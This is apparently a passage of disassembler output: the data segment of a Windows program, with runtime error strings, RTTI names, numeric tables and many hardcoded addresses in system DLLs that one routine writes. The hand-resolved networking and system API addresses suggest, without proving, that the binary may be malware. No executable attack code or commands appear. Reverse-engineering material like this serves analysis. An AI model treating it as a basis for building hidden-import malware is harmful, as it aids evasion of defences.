dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_443948 db 1 ; DATA XREF: sub_422F16+120r
db 2, 4, 8
align 10h
dword_443950 dd 3A4h ; DATA XREF: sub_422F16:loc_422F91r
dword_443954 dd 82798260h ; DATA XREF: sub_422F16+15Cr
dd 21h, 0
dword_443960 dd 0DFA6h ; DATA XREF: sub_422F16+100r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_443A40 dd 0FFFFFFFFh, 0A80h ; DATA XREF: sub_421C63:loc_421CE6o
; sub_422124:loc_4221E1o
off_443A48 dd offset sub_427274 ; DATA XREF: sub_424391+11Ar
; sub_424391+1D5r ...
dword_443A4C dd 173Fh ; DATA XREF: sub_424720+Dr
off_443A50 dd offset sub_424B83 ; DATA XREF: sub_41FDE2+5w
; sub_4222C8+476r
off_443A54 dd offset sub_42484B ; DATA XREF: sub_41FDE2+Aw
; sub_4222C8+4A2r
off_443A58 dd offset sub_4248B0 ; DATA XREF: sub_41FDE2+14w
; sub_423327+5B5r
off_443A5C dd offset sub_4247F3 ; DATA XREF: sub_41FDE2+1Ew
; sub_4222C8+491r
off_443A60 dd offset word_424896 ; DATA XREF: sub_41FDE2+28w
off_443A64 dd offset sub_424B83 ; DATA XREF: sub_41FDE2+32w
dd offset dword_42555C
dd offset sub_4254B5
off_443A70 dd offset sub_4254B5 ; DATA XREF: sub_4254E2+Cr
align 10h
dword_443A80 dd 1B3Fh ; DATA XREF: sub_4255CA+Dr
dword_443A84 dd 1 ; DATA XREF: sub_420B27+18r
dword_443A88 dd 2 ; DATA XREF: sub_426069:loc_42608Fr
; sub_426069+3Ar
off_443A8C dd offset aR6002FloatingP ; DATA XREF: sub_426069+D5r
; sub_426069+112r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 439F9Ch, 9, 439F70h, 0Ah, 439ED8h, 10h, 439EACh
dd 11h, 439E7Ch, 12h, 439E58h, 13h, 439E2Ch, 18h, 439DF4h
dd 19h, 439DCCh, 1Ah, 439D94h, 1Bh, 439D5Ch, 1Ch, 439D34h
dd 1Dh, 439C90h, 78h, 439C7Ch, 79h, 439C6Ch, 7Ah, 439C5Ch
dd 0FCh, 4348E8h, 0FFh, 439C4Ch
dword_443B20 dd 0C0000005h, 0Bh, 0 ; DATA XREF: seg000:00426225o
; sub_429276+6o
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_443B98 dd 3 ; DATA XREF: seg000:0042629Dr
; sub_4292AF+C4r
dword_443B9C dd 7 ; DATA XREF: seg000:004262A2r
; sub_4292AF+C9r
dword_443BA0 dd 0Ah ; DATA XREF: seg000:0042621Fr
; sub_429276r
dword_443BA4 dd 8Ch ; DATA XREF: seg000:004262CBr
; seg000:004262D3w ...
dword_443BA8 dd 2694h ; DATA XREF: sub_427833+3r
; sub_427885+5Dr
align 10h
dword_443BB0 dd 14h ; DATA XREF: sub_427793:loc_42779Br
off_443BB4 dd offset aExp ; DATA XREF: sub_427793:loc_42780Dr
; "exp"
dd 1Dh, 439B38h, 1Ah, 42F530h, 1Bh, 439B3Ch, 1Fh, 43A2A0h
dd 13h, 43A298h, 21h, 43A290h, 0Eh, 43A288h, 0Dh, 43A280h
dd 0Fh, 439B00h, 10h, 43A278h, 5, 43A270h, 1Eh, 43A26Ch
dd 12h, 43A268h, 20h, 43A264h, 0Ch, 439B08h, 0Bh, 439B10h
dd 15h, 43A25Ch, 1Ch, 439B18h, 19h, 43A254h, 11h, 43A24Ch
dd 18h, 43A244h, 16h, 43A23Ch, 17h, 43A234h, 22h, 43A230h
dd 23h, 43A22Ch, 24h, 43A228h, 25h, 43A220h, 26h, 43A214h
dbl_443C98 dq 1.797693134862316e308 ; DATA XREF: sub_42751C+BCr
; sub_42751C:loc_42760Ar ...
dd 0
dd 0FFF80000h
dbl_443CA8 dq 1.797693134862316e308 ; DATA XREF: sub_42751C+93r
; sub_42751C:loc_4275E0r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_443CC0 dt 2.3562723457267347066e313 ; DATA XREF: sub_427ACA+Br
; sub_427ACA+1Er
align 4
tbyte_443CCC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_427ACA+30r
align 4
dword_443CD8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_427E18o
dword_443CF0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_427E2Eo
dword_443D08 dd 2 dup(0) ; DATA XREF: sub_42968C+Co
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_443E68 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42968C+23o
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_443FC4 dd offset off_43A388 ; DATA XREF: seg001:0043A588o
; seg001:0043A6E8o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_443FDC dd offset off_43A388 ; DATA XREF: seg001:off_43A440o
; seg001:0043A480o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_443FFC dd offset off_43A388 ; DATA XREF: seg001:off_43A488o
; seg001:0043A4CCo ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_44401C dd offset off_43A388 ; DATA XREF: seg001:off_43A4D4o
; seg001:0043A518o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_44403C dd offset off_43A388 ; DATA XREF: seg001:off_43A520o
; seg001:0043A55Co
dd 0
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dword_444060 dd 0 ; DATA XREF: seg000:004011D7o
dword_444064 dd 71AB5690h ; DATA XREF: sub_4012D6+61Dw
; sub_4012D6+76Cr ...
dword_444068 dd 71AB157Eh ; DATA XREF: sub_4012D6+678w
; sub_4012D6+7A4r ...
dword_44406C dd 71C574FAh ; DATA XREF: sub_4012D6+9BEw
; sub_4012D6+A33r ...
dword_444070 dd 7620E8C3h ; DATA XREF: sub_4012D6+859w
; sub_4012D6+8ACr
dword_444074 dd 71AB5A01h ; DATA XREF: sub_4012D6+540w
; sub_4012D6+6C4r ...
dword_444078 dd 762211EFh ; DATA XREF: sub_4012D6+7FEw
; sub_4012D6+86Dr
dword_44407C dd 77E6C0E3h ; DATA XREF: sub_4012D6+8Cw
; sub_4012D6+E2r ...
dword_444080 dd 77D5E303h ; DATA XREF: sub_4012D6+1A6w
; sub_4012D6+1E2r ...
dword_444084 dd 77D45B19h ; DATA XREF: sub_4012D6+172w
; sub_4012D6+1C2r ...
dword_444088 dd 71AB1444h ; DATA XREF: sub_4012D6+624w
; sub_4012D6+774r
dword_44408C dd 77C71BB0h ; DATA XREF: sub_4012D6+48Dw
; sub_4012D6+4DBr ...
dword_444090 dd 71B28D0Dh ; DATA XREF: sub_4012D6+B50w
; sub_40C979+A3r
dword_444094 dd 71AB155Ah ; DATA XREF: sub_4012D6+59Bw
; sub_4012D6+70Cr ...
dword_444098 dd 7620AFB6h ; DATA XREF: sub_4012D6+83Fw
; sub_4012D6+873r
dword_44409C dd 77D5E310h ; DATA XREF: sub_4012D6+18Cw
; sub_4012D6+1D2r ...
dword_4440A0 dd 77D4932Ch ; DATA XREF: sub_4012D6+206w
; sub_4012D6+227r
dword_4440A4 dd 77EBA6E9h ; DATA XREF: sub_4012D6+58w
; sub_4012D6+CAr ...
dword_4440A8 dd 71C4A1B4h ; DATA XREF: sub_4012D6+9A4w
; sub_4012D6+A23r ...
dword_4440AC dd 71AB3E5Dh ; DATA XREF: sub_4012D6+5A8w
; sub_4012D6+718r ...
dword_4440B0 dd 77D5C13Ah ; DATA XREF: sub_4012D6+220w
; sub_4012D6+23Cr
dword_4440B4 dd 1F7BA3A9h ; DATA XREF: sub_4012D6+BF4w
; sub_4012D6+C2Fr
dword_4440B8 dd 77DD23D7h ; DATA XREF: sub_4012D6+2A5w
; sub_4012D6+2F0r ...
dword_4440BC dd 71AB868Dh ; DATA XREF: sub_4012D6+65Ew
; sub_4012D6+794r ...
dword_4440C0 dd 77D4456Bh ; DATA XREF: sub_4012D6+22Dw
dword_4440C4 dd 1F7B9D96h ; DATA XREF: sub_4012D6+C28w
dword_4440C8 dd 71C4502Ch ; DATA XREF: sub_4012D6+9CBw
; sub_4012D6+A3Br ...
dword_4440CC dd 71AB1ED3h ; DATA XREF: sub_4012D6+610w
; sub_4012D6+764r ...
dword_4440D0 dd 773F97B0h ; DATA XREF: sub_4012D6+BAAw
dword_4440D4 dd 77E78C17h ; DATA XREF: sub_4012D6+31w
; sub_4012D6+ADr ...
dword_4440D8 dd 71B2A381h ; DATA XREF: sub_4012D6+B43w
; sub_4012D6+B5Fr ...
dword_4440DC dd 71C21CA3h ; DATA XREF: sub_4012D6+A0Cw
; sub_40F87A+8Br ...
dword_4440E0 dd 71C453F8h ; DATA XREF: sub_4012D6+9E5w
; sub_4012D6+A4Br ...
dword_4440E4 dd 77DD59F0h ; DATA XREF: sub_401000+49r
; sub_4012D6+298w ...
dword_4440E8 dd 71C2498Bh ; DATA XREF: sub_4012D6+97Dw
; sub_4012D6+A06r ...
dword_4440EC dd 71C4576Ch ; DATA XREF: sub_4012D6+9F2w
; sub_4012D6+A53r ...
dword_4440F0 dd 77EBB1E7h ; DATA XREF: sub_4012D6+3Ew
; sub_4012D6+BAr ...
dword_4440F4 dd 77E2C1B3h ; DATA XREF: sub_4012D6+399w
; sub_4012D6+3DFr ...
dword_4440F8 dd 77D49A11h ; DATA XREF: sub_4012D6+17Fw
; sub_4012D6+1CAr ...
dword_4440FC dd 77E686CCh ; DATA XREF: sub_4012D6+72w
; sub_4012D6+D2r ...
dword_444100 dd 71AB3C22h ; DATA XREF: sub_4012D6+58Ew
; sub_4012D6+700r ...
dword_444104 dd 71C24870h ; DATA XREF: sub_4012D6+98Aw
; sub_4012D6+A13r ...
dword_444108 dd 76214750h ; DATA XREF: sub_4012D6+84Cw
; sub_4012D6+8A4r
dword_44410C dd 76D674FAh ; DATA XREF: sub_4012D6+ADFw
; sub_4012D6+AE6r ...
dword_444110 dd 71AB41DAh ; DATA XREF: sub_4012D6+533w
; sub_4012D6+6B3r ...
dword_444114 dd 71C3516Ah ; DATA XREF: sub_4012D6+9FFw
; sub_4012D6+A5Br ...
dword_444118 dd 77EBA994h ; DATA XREF: sub_4012D6+65w
; sub_41C444+158r
dword_44411C dd 77E09070h ; DATA XREF: sub_4012D6+2D9w
; sub_41B065+4Fr
dword_444120 dd 71AB3F8Dh ; DATA XREF: sub_4012D6+66Bw
; sub_4012D6+79Cr ...
dword_444124 dd 77E6CBF9h ; DATA XREF: sub_4012D6+99w
; sub_4012D6+EAr ...
dword_444128 dd 1F7CD214h ; DATA XREF: sub_4012D6+C0Ew
; sub_4012D6+C3Fr
dword_44412C dd 76206853h ; DATA XREF: sub_4012D6+818w
; sub_4012D6+888r
dword_444130 dd 77C72C6Bh ; DATA XREF: sub_4012D6+4A7w
; sub_4012D6+4EBr ...
dword_444134 dd 77DDAB2Fh ; DATA XREF: sub_4012D6+3A6w
; sub_4012D6+3E7r ...
dword_444138 dd 73B81E3Bh ; DATA XREF: sub_4012D6+C85w
; sub_4012D6+C8Cr ...
dword_44413C dd 76206B7Fh ; DATA XREF: sub_4012D6+832w
; sub_4012D6+898r
dword_444140 dd 71C214BAh ; DATA XREF: sub_4012D6+9B1w
; sub_4012D6+A2Br ...
dword_444144 dd 77DD5C55h ; DATA XREF: sub_401000+55r
; sub_4012D6+2B2w ...
dword_444148 dd 71ABF628h ; DATA XREF: sub_4012D6+6ACw
dword_44414C dd 77E802FCh ; DATA XREF: sub_4012D6+A6w
; sub_4012D6+F2r
dword_444150 dd 77DD590Bh ; DATA XREF: sub_401000+2Ar
; sub_4012D6+28Bw ...
dword_444154 dd 77EBA595h ; DATA XREF: sub_4012D6+4Bw
; sub_4012D6+C2r ...
dword_444158 dd 76D629BBh ; DATA XREF: sub_4012D6+91Aw
; sub_4012D6+92Er
dword_44415C dd 71AB1B7Bh ; DATA XREF: sub_4012D6+55Aw
dword_444160 dd 77D4BDCAh ; DATA XREF: sub_4012D6+165w
; sub_4012D6:loc_401490r ...
dword_444164 dd 76204E4Dh ; DATA XREF: sub_4012D6+879w
dword_444168 dd 71AB2BBFh ; DATA XREF: sub_4012D6+692w
; sub_4012D6+7B4r ...
dword_44416C dd 76F36EEBh ; DATA XREF: sub_4012D6+AA2w
dword_444170 dd 77DDA595h ; DATA XREF: sub_4012D6+33Aw
; sub_41C3D9+55r
dword_444174 dd 76D67A29h ; DATA XREF: sub_4012D6+AECw
; sub_4022F5+8Er
dword_444178 dd 77C7531Dh ; DATA XREF: sub_4012D6+473w
; sub_4012D6+4CBr ...
dword_44417C dd 71AB12F8h ; DATA XREF: sub_4012D6+5C2w
; sub_4012D6+730r ...
dword_444180 dd 77C7212Fh ; DATA XREF: sub_4012D6+466w
; sub_4012D6+4C3r ...
dword_444184 dd 77C72889h ; DATA XREF: sub_4012D6+4B4w
; sub_417F75+206r
dword_444188 dd 71AB401Ch ; DATA XREF: sub_4012D6+5B5w
; sub_4012D6+724r ...
dword_44418C dd 76D62A37h ; DATA XREF: sub_4012D6+927w
; sub_4012D6+93Br
dword_444190 dd 77C729E2h ; DATA XREF: sub_4012D6+49Aw
; sub_4012D6+4E3r ...
dword_444194 dd 71AB60C9h ; DATA XREF: sub_4012D6+54Dw
; sub_4012D6+6D0r
dword_444198 dd 77DDACABh ; DATA XREF: sub_4012D6+40Fw
; sub_41D779+EDr
dword_44419C dd 73B81B0Fh ; DATA XREF: sub_4012D6+C92w
; sub_40274D+6FC7r
dword_4441A0 dd 71AB1AF4h ; DATA XREF: sub_4011F5+3Er
; sub_40123B+80r ...
dword_4441A4 dd 77D902E3h ; DATA XREF: sub_4012D6+1B3w
; sub_41AEBB+15r
dword_4441A8 dd 77E96645h ; DATA XREF: sub_4012D6+7Fw
; sub_4012D6+DAr ...
dword_4441AC dd 71B2ACCBh ; DATA XREF: sub_4012D6+B29w
; sub_4012D6+B4Ar ...
dword_4441B0 dd 71AB1890h ; DATA XREF: sub_4012D6+644w
; sub_4012D6+784r ...
dword_4441B4 dd 77E6D75Bh ; DATA XREF: sub_4012D6+B3w
dword_4441B8 dd 7620BD61h ; DATA XREF: sub_4012D6+866w
; sub_4012D6+8B4r
dword_4441BC dd 1F7CB8F8h ; DATA XREF: sub_4012D6+C1Bw
; sub_4012D6+C47r
dword_4441C0 dd 77C75455h ; DATA XREF: sub_4012D6+480w
; sub_4012D6+4D3r ...
dword_4441C4 dd 71AB1740h ; DATA XREF: sub_4012D6+574w
; sub_4012D6+6E8r ...
dword_4441C8 dd 77DDA20Bh ; DATA XREF: sub_4012D6+365w
; sub_4012D6+3BAr ...
dword_4441CC dd 77D4702Fh ; DATA XREF: sub_4012D6+158w
; sub_4012D6+1ADr ...
dword_4441D0 dd 77DE8075h ; DATA XREF: sub_4012D6+37Fw
; sub_4012D6+3CFr ...
dword_4441D4 dd 71C45229h ; DATA XREF: sub_4012D6+9D8w
; sub_4012D6+A43r ...
dword_4441D8 dd 77DDA2AFh ; DATA XREF: sub_4012D6+3B3w
; sub_4012D6+3EFr ...
dword_4441DC dd 71AB12A7h ; DATA XREF: sub_4012D6+5F6w
; seg000:0040BB92r
dword_4441E0 dd 71AB14DCh ; DATA XREF: sub_4012D6+567w
; sub_4012D6+6DCr
dword_4441E4 dd 71AB3ECEh ; DATA XREF: sub_4012D6+637w
; sub_4012D6+77Cr ...
dword_4441E8 dd 77DD189Ah ; DATA XREF: sub_401000+5Er
; sub_4012D6+2BFw ...
dword_4441EC dd 77DE1291h ; DATA XREF: sub_4012D6+38Cw
; sub_4012D6+3D7r ...
dword_4441F0 dd 76F36EAAh ; DATA XREF: sub_4012D6+A95w
; sub_4012D6+A9Cr ...
dword_4441F4 dd 76D62A58h ; DATA XREF: sub_4012D6+934w
dword_4441F8 dd 1F7D886Ah ; DATA XREF: sub_4012D6+BE7w
; sub_4012D6+C22r
dword_4441FC dd 71ABD755h ; DATA XREF: sub_4012D6+69Fw
; sub_4012D6+7BCr ...
dword_444200 dd 71AB1746h ; DATA XREF: sub_4012D6+5E9w
; sub_4012D6+754r
dword_444204 dd 77DD7496h ; DATA XREF: sub_4012D6+3C0w
; sub_41C07C+ABr
dword_444208 dd 0 ; DATA XREF: sub_4012D6+112w
dword_44420C dd 71C2FA86h ; DATA XREF: sub_4012D6+997w
; sub_4012D6+A1Br ...
dword_444210 dd 1F7CD927h ; DATA XREF: sub_4012D6+C01w
; sub_4012D6+C37r
dword_444214 dd 77428B97h ; DATA XREF: sub_4012D6+B9Dw
; sub_4012D6+BA4r ...
dword_444218 dd 71AB1A6Dh ; DATA XREF: seg000:00401121r
; sub_4012D6+6B9w ...
dword_44421C dd 77C76551h ; DATA XREF: sub_4012D6+459w
; sub_4012D6+4BBr ...
dword_444220 dd 71AB32CAh ; DATA XREF: sub_4012D6+685w
; sub_4012D6+7ACr ...
dword_444224 dd 71AB1836h ; DATA XREF: seg000:0040112Cr
; seg000:00401132r ...
dword_444228 dd 77DF7311h ; DATA XREF: sub_4012D6+32Dw
; sub_4012D6+341r ...
dword_44422C dd 77D4808Bh ; DATA XREF: sub_4012D6+213w
; sub_4012D6+234r
dword_444230 dd 71AB5DE2h ; DATA XREF: sub_4012D6+651w
; sub_4012D6+78Cr ...
dword_444234 dd 71AB12A7h ; DATA XREF: sub_4012D6+5DCw
; sub_4012D6+748r ...
dword_444238 dd 77DD22EAh ; DATA XREF: sub_4012D6+27Ew
; sub_4012D6+2D3r ...
dword_44423C dd 77D5E38Ch ; DATA XREF: sub_4012D6+199w
; sub_4012D6+1DAr ...
dword_444240 dd 71B22C25h ; DATA XREF: sub_4012D6+B36w
; sub_4012D6+B57r ...
dword_444244 dd 77DD5D20h ; DATA XREF: sub_4012D6+320w
; sub_4012D6+334r ...
dword_444248 dd 77E09134h ; DATA XREF: sub_4012D6+2CCw
; sub_41B065+47r
dword_44424C dd 77DE801Bh ; DATA XREF: sub_4012D6+372w
; sub_4012D6+3C7r ...
dword_444250 dd 77C76B34h ; DATA XREF: sub_4012D6+44Cw
; sub_4012D6+4AEr ...
dword_444254 dd 0CC0004h ; DATA XREF: sub_4012D6+8DBw
; sub_4012D6:loc_401BCFw
dword_444258 dd 762059A3h ; DATA XREF: sub_4012D6+825w
; sub_4012D6+890r
dword_44425C dd 7622A3F4h ; DATA XREF: sub_4012D6+80Bw
; sub_4012D6+880r ...
dword_444260 dd 71AB1746h ; DATA XREF: sub_4012D6+5CFw
; sub_4012D6+73Cr ...
dword_444264 dd 0 ; DATA XREF: sub_4012D6:loc_4013D4w
; sub_4012D6+12Bw ...
dword_444268 dd 0 ; DATA XREF: sub_4012D6+126w
; sub_401F92+1Cr
dword_44426C dd 0 ; DATA XREF: sub_4012D6:loc_4014C4w
; sub_4012D6:loc_40152Bw ...
dword_444270 dd 0 ; DATA XREF: sub_4012D6+250w
; sub_401F92+50r
dword_444274 dd 0 ; DATA XREF: sub_4012D6:loc_4015DEw
; sub_4012D6:loc_401623w ...
dword_444278 dd 0 ; DATA XREF: sub_4012D6+41Ew
; sub_401F92+84r
dword_44427C dd 0 ; DATA XREF: sub_4012D6:loc_4017DAw
; sub_401F92:loc_402042r
dword_444280 dd 0 ; DATA XREF: sub_4012D6+4FFw
; sub_401F92+B8r
dword_444284 dd 0 ; DATA XREF: sub_4012D6:loc_401AABw
; sub_401F92:loc_402076r
dword_444288 dd 0 ; DATA XREF: sub_4012D6+7D0w
; sub_401F92+ECr
dword_44428C dd 0 ; DATA XREF: sub_4012D6:loc_401B96w
; sub_4012D6+8EFw ...
dword_444290 dd 0 ; DATA XREF: sub_4012D6+8EAw
; sub_401F92+120r
dword_444294 dd 0 ; DATA XREF: sub_4012D6:loc_401C2Aw
; sub_401F92:loc_4020DEr ...
dword_444298 dd 0 ; DATA XREF: sub_4012D6+94Fw
; sub_401F92+154r
dword_44429C dd 0 ; DATA XREF: sub_4012D6:loc_401D46w
; sub_401F92:loc_402112r ...
dword_4442A0 dd 0 ; DATA XREF: sub_4012D6+A6Bw
; sub_401F92+188r
dword_4442A4 dd 0 ; DATA XREF: sub_4012D6:loc_401D90w
; sub_401F92:loc_402146r
dword_4442A8 dd 0 ; DATA XREF: sub_4012D6+AB5w
; sub_401F92+1BCr
dword_4442AC dd 0 ; DATA XREF: sub_4012D6:loc_401DDAw
; sub_401F92:loc_40217Ar
dword_4442B0 dd 0 ; DATA XREF: sub_4012D6+AFFw
; sub_401F92+1F0r
dword_4442B4 dd 0 ; DATA XREF: sub_4012D6:loc_401E4Ew
; sub_401F92:loc_4021AEr
dword_4442B8 dd 0 ; DATA XREF: sub_4012D6+B73w
; sub_401F92+224r
dword_4442BC dd 0 ; DATA XREF: sub_4012D6:loc_401E98w
; sub_401F92:loc_4021E2r
dword_4442C0 dd 0 ; DATA XREF: sub_4012D6+BBDw
; sub_401F92+258r
dword_4442C4 dd 0 ; DATA XREF: sub_4012D6:loc_401F36w
; sub_401F92:loc_402216r
dword_4442C8 dd 0 ; DATA XREF: sub_4012D6+C5Bw
; sub_401F92+28Cr
dword_4442CC dd 0 ; DATA XREF: sub_4012D6:loc_401F80w
; sub_401F92:loc_40224Ar
dword_4442D0 dd 0 ; DATA XREF: sub_4012D6+CA5w
; sub_401F92+2C0r
dword_4442D4 dd 5 dup(0) ; DATA XREF: sub_4023C9+46o
dword_4442E8 dd 0 ; DATA XREF: sub_40274D+5B75r
; sub_40274D+5C52r ...
dd 7Fh dup(0)
dword_4444E8 dd 0 ; DATA XREF: sub_40AE85+45w
; sub_40AF6E+3Ew ...
dword_4444EC dd 0 ; DATA XREF: sub_40AE85+3Ew
; sub_40AF6E+44w ...
dword_4444F0 dd 0 ; DATA XREF: sub_40AE85+52w
; sub_40AF6E+34r ...
dword_4444F4 dd 0 ; DATA XREF: seg000:0040111Br
; sub_4025EF+83w ...
dword_4444F8 dd 0 ; DATA XREF: sub_40AF6E+6Fr
; sub_40B149+2Aw ...
dword_4444FC dd 0 ; DATA XREF: sub_40274D+719w
; sub_40274D+94Fw ...
byte_444500 db 0 ; DATA XREF: sub_4025EF+5Do
; sub_40274D+5ABCr ...
align 4
dd 493h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: seg001:004340F4o
db 0
byte_457441 db 3 dup(0) ; DATA XREF: seg001:off_43764Co
dd 0E306h dup(0)
dword_49005C dd 947Ah dup(0) ; DATA XREF: seg001:off_432E14o
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: seg001:off_4374B8o
dd 7028h dup(0)
dword_4D12E8 dd 0 ; DATA XREF: sub_40A263:loc_40A728o
; sub_40AE85+13o ...
dword_4D12EC dd 20h dup(0) ; DATA XREF: sub_40A263+47Co
; sub_40A263+509o ...
dword_4D136C dd 10h dup(0) ; DATA XREF: sub_40A263+497o
dword_4D13AC dd 24h dup(0) ; DATA XREF: sub_40A263+4AEo
dword_4D143C dd 0 ; DATA XREF: sub_40A263+49Dw
; sub_40A263+520w ...
dword_4D1440 dd 0 ; DATA XREF: sub_40A263+4B9w
align 10h
dword_4D1450 dd 0 ; DATA XREF: sub_40274D+A17o
; sub_40274D+A88r ...
dd 5 dup(0)
dword_4D1468 dd 0 ; DATA XREF: sub_40274D+A78r
; sub_417C78+63r
dd 1Fh dup(0)
dword_4D14E8 dd 0 ; DATA XREF: sub_40B075+16o
; sub_40B094+19o
dword_4D14EC dd 2B9h dup(0) ; DATA XREF: sub_40B028+3Do
dword_4D1FD0 dd 1Bh ; DATA XREF: sub_40274D:loc_404F29r
; sub_40A263+3Dw ...
dword_4D1FD4 dd 0 ; DATA XREF: sub_40A263+136r
byte_4D1FD8 db 0 ; DATA XREF: sub_402472+29r
; sub_402472+32o
align 4
dword_4D1FDC dd 0 ; DATA XREF: sub_40274D+7B0Bw
; sub_40A263+4CAw ...
dword_4D1FE0 dd 0 ; DATA XREF: sub_40274D+7E5r
; sub_40A263+481w
dword_4D1FE4 dd 0BCE3h ; DATA XREF: seg000:0040B7E1r
; sub_40D055+30r ...
byte_4D1FE8 db 0 ; DATA XREF: sub_40AD00+64r
; sub_40AD00+92w
align 10h
dword_4D1FF0 dd 0 ; DATA XREF: sub_40B619+18r
; seg000:0040BC4Cw
dd 805h dup(0)
dword_4D4008 dd 0 ; DATA XREF: sub_40B494+Er
; sub_40B494+31r
dword_4D400C dd 0 ; DATA XREF: sub_40B494+9r
; sub_40B494+25r
dword_4D4010 dd 0 ; DATA XREF: seg000:0040BAB8w
; seg000:0040BAF7o
dword_4D4014 dd 4Fh dup(0) ; DATA XREF: seg000:0040BA86o
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: seg001:off_436E5Co
dd 52h dup(0)
dword_4D429C dd 41h dup(0) ; DATA XREF: seg000:0040BA5Bo
dword_4D43A0 dd 0 ; DATA XREF: seg000:0040BA7Dw
; seg000:0040BAA5r
align 8
dword_4D43A8 dd 0 ; DATA XREF: seg000:0040BAEDw
; seg000:0040BB09r
dword_4D43AC dd 0 ; DATA XREF: seg000:0040BAABw
dword_4D43B0 dd 0 ; DATA XREF: seg000:0040BABDw
